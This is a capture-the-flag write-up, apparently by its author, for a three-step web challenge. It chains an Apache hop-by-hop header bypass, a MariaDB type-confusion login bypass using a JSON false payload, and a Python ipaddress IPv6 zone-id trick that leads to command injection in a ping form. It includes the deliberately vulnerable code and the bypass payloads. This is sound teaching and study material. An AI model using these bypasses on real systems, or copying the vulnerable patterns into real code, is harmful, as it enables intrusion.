Introduction
This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane 🔥 💚
Challenge
- Name :
To Hope or Not To Hope
- Category :
Web
- Difficulty :
Hard
- Solves :
3
- Points :
499
- Author :
Nishacid
I hope you’re ready! Did you hope to succeed? Hop hop hop, go! Hoping for clues? Keep hoping! False hope or real hope? Who knows? Hope you find out! Hope is everywhere, just hop along and hope for the best!
Step 1 - Apache Hop-By-Hop Header
While creating this three-step challenge, I wanted to design it around the “normal” behaviors of different applications and libraries, which can lead to vulnerabilities if misused.
With the source code provided for this challenge, we can start by analyzing it. The backend is not exposed, and we access the application through an Apache Reverse Proxy.
This Apache proxy sets an HTTP header for each request passing through it to the backend.
<VirtualHost *:80>
ProxyRequests Off
ProxyPass / http://internal:5000/
ProxyPassReverse / http://internal:5000/
<Proxy *>
Require all granted
</Proxy>
<LocationMatch "/">
RequestHeader set External "Yes"
</LocationMatch>
</VirtualHost>
On its side, the backend rejects any request containing this External
header with the following simple function:
def check_external() -> bool:
if "External" in request.headers:
return True
return False
This function is called at the beginning of each route defined by the application, as follows:
# Login route
@app.route('/login', methods=['GET', 'POST'])
def login():
# We don't want requests from external people.
if check_external():
result = {
'message': 'Forbidden',
'status': 403,
'error': "You're an external entity, get out."
}
return jsonify(result), result['status']
# We're happy to accept internal people!
else:
if check_login():
...
According to RFC2616, some HTTP headers are by default considered Hop-By-Hop headers, such as Connection
. This means that if the proxy encounters these headers while processing the request, it should not transmit them to the next hop.
It is therefore possible to indicate to Apache not to transmit the External
header when it forwards the request to the backend via the Reverse Proxy.
And indeed, it works, we can access the backend login page.
Step 2 - MySQL Type Confusion
Next, we face a login page, whose code is quite simple. The application simply takes the username
and password
fields from the JSON request, which are then passed to a query()
function.
data = request.get_json()
username = data.get('username')
password = data.get('password')
if not username or not password:
return jsonify({"error": 'All fields are required!'}), 400
user = query('SELECT username FROM users WHERE username = %s AND password = %s', (username, password))
if user is None:
return jsonify({"error": 'Invalid credentials!'}), 403
session['username'] = user
return jsonify({"success": 'Logged In successfully'}), 200
This function takes an SQL query and its arguments as arguments, executes the complete query, returns the first result, and returns the first field of the response if it exists (the username
field).
def query(query: str, args: tuple = ()):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
row = cursor.fetchone()
if row:
return row[0]
return None
So far, no SQL injection is in sight, however, MySQL has a rather strange behavior regarding queries with a field set to false
, as for example with all these queries:
MariaDB [hophophop]> SELECT username FROM users WHERE username = false and password = false;
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set, 2 warnings (0.001 sec)
MariaDB [hophophop]> SELECT username FROM users WHERE username = 0 and password = 0;
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set, 2 warnings (0.001 sec)
MariaDB [hophophop]> SELECT username FROM users WHERE username = (0) and password = (0);
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set, 2 warnings (0.001 sec)
MariaDB [hophophop]> SELECT username,password FROM users WHERE username = 'admin' and password = false;
+----------+----------------+
| username | password |
+----------+----------------+
| admin | admin_password |
+----------+----------------+
1 row in set, 1 warning (0.001 sec)
Indeed, this strange behavior allows the first result of our query to be returned, as if MariaDB decided not to “compare” the rest, which is quite intriguing.
So, we just need to send our false
field in a JSON array, because if we simply send a false
field, it will be rejected by the application, which requires two fields.
And we can connect and get a session cookie! It also works with the username “admin”, as follows:
{
"username":"admin",
"password":[
false
]
}
Step 3 - Python ipaddress IPv6 Parser Confusion
Once connected to the application, a simple form allows you to check if an IP address responds to a ping (original, isn’t it?).
data = request.get_json()
ipAddr = data.get('ipAddress')
# Check if it's a valid IP
if validate_ip(ipAddr):
try:
# Secure check for the IP Address
response = system(f"ping -c 2 {ipAddr}")
if response == 0:
result = {"status": "up"}
else:
result = {"status": "down"}
The application once again takes the content of the JSON request, retrieves the ipAddress
field to pass it to a system()
function, with the only verification being the validate_ip()
function.
from ipaddress import ip_address
# Check if the input is an IP address
def validate_ip(ip: str) -> bool:
try:
ipAddr = ip_address(ip)
return True
except ValueError:
return False
except Exception as e:
return False
This function uses the ipaddress library, which does not seem to contain a vulnerable version for a certain bypass of this function. We then look at RFC6874, which indicates that an IPv6 address can contain a zone_id after it, often used to specify a network interface, and this is not subject to character restrictions. The following IPv6 address is therefore valid according to the RFC: ::1%grehack.fr
.
After a quick read of the library’s source code, we can see that it does indeed take zone identifiers into account, and that it doesn’t even check the contents.
@staticmethod
def _split_scope_id(ip_str):
"""Helper function to parse IPv6 string address with scope id.
See RFC 4007 for details.
Args:
ip_str: A string, the IPv6 address.
Returns:
(addr, scope_id) tuple.
"""
addr, sep, scope_id = ip_str.partition('%')
if not sep:
scope_id = None
elif not scope_id or '%' in scope_id:
raise AddressValueError('Invalid IPv6 address: "%r"' % ip_str)
return addr, scope_id
With this information, it becomes easy to bypass the library, which accepts IPv6 addresses.
>>> import ipaddress
>>> ipaddress.ip_address('127.0.0.1')
IPv4Address('127.0.0.1')
>>> ipaddress.ip_address('127.0.0.')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.10/ipaddress.py", line 54, in ip_address
raise ValueError(f'{address!r} does not appear to be an IPv4 or IPv6 address')
ValueError: '127.0.0.' does not appear to be an IPv4 or IPv6 address
>>> ipaddress.ip_address('::1%grehack.fr')
IPv6Address('::1%grehack.fr')
We can now execute commands and send our reverse shell.
And get our flag.
- Flag :
GH{SqL_c0nfUsi00n_h0p_by_H0p_4nd_Ipv6_p3rs3r!!}
Resources
- https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
- https://tools.ietf.org/html/rfc2616#section-13.5.1
- https://www.exploit-db.com/docs/english/41275-mysql-injection-in-update,-insert,-and-delete.pdf
- https://blog.slonser.info/posts/ipv6-zones/
- https://github.com/python/cpython/blob/3.13/Lib/ipaddress.py
- https://datatracker.ietf.org/doc/html/rfc6874#section-3